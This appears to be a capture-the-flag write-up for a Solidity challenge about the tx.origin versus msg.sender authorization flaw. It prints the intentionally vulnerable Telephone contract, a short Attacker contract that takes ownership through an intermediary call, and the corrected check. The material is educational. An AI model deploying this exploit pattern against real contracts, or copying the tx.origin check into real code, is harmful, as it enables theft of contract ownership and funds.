Requirement: understand the difference between msg.sender
and tx.origin
.
The challenge 🚣♀️🚣
Claim ownership of the following contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Contract overview 🔎
Telephone.sol
is a basic contract, at creation time the constructor
sets the owner
as the deployer of the contract.
The contract has a changeOwner
function that takes address owner
as a parameter to set a new owner of the contract.
To prevent unauthorized accounts from transfering the ownership of the contract, the following safeguard is implemented to protect the function:
if (tx.origin != msg.sender) {
owner = _owner;
}
This is done to ensure only the owner
can transfer ownership.
If we try to call changeOwner
with our address, this transaction will not revert but the owner of the contract will remain the same because tx.origin
and msg.sender
are both our address.
Who are tx.origin
and msg.sender
? 📞☎️
tx.origin
and msg.sender
are built-in global variables from the language.
These variables can de defined as such:
-
tx.origin
: is the address of the Externally Owned Account (EOA) that originally sent the transaction. It can only be an account that know its private key. -
msg.sender
: is the direct sender of the message, it can be an EOA or a contract.
Let's review the following basic call chain:
EOA ---> contract A ---> contract B
In this transaction an EOA initiated a transaction to call a function in A that calls a function in B.
Therefore:
- In A:
tx.origin
==msg.sender
== EOA. - In B:
tx.origin
== EOA butmsg.sender
== contract A.
Claiming ownership of Telephone.sol
👸🤴
After my brief explanation we can see that all we need to bypass the safeguard is an intermediate contract to call changeOwner
.
Go to Remix and create a file with the following code:
interface ITelephone {
function changeOwner(address _owner) external;
}
contract Attacker {
function attack(address _victim) external {
ITelephone(_victim).changeOwner(msg.sender);
}
}
Attacker
has a single attack
function that calls the changeOwner
function from Telephone
with our address passed as msg.sender
.
Ok, let's do this -- get a new instance of Telephone
from the game contract and grab the address.
Deploy Attacker
and call attack
with the address of Telephone
as the parameter.
After the transaction is mined, in your developer tools check who owns the contract:
await contract.owner() // it should return your address
Conclusion ⭐️
Using tx.origin
for authorization proved to be a poor defense mechanism, it only takes a intermediate contract to bypass it. A better solution would've been checking msg.sender
against the owner
of the contract, making sure only the owner can set a new owner:
if (owner == msg.sender) {
owner = _owner;
}
Further reading 📕📗
- Solidity docs: Special Variables and Functions
- Solidity docs: Security considerations
- How do I make my DAPP "Serenity-Proof?"
- Ethereum Smart Contract Best Practices
Top comments (0)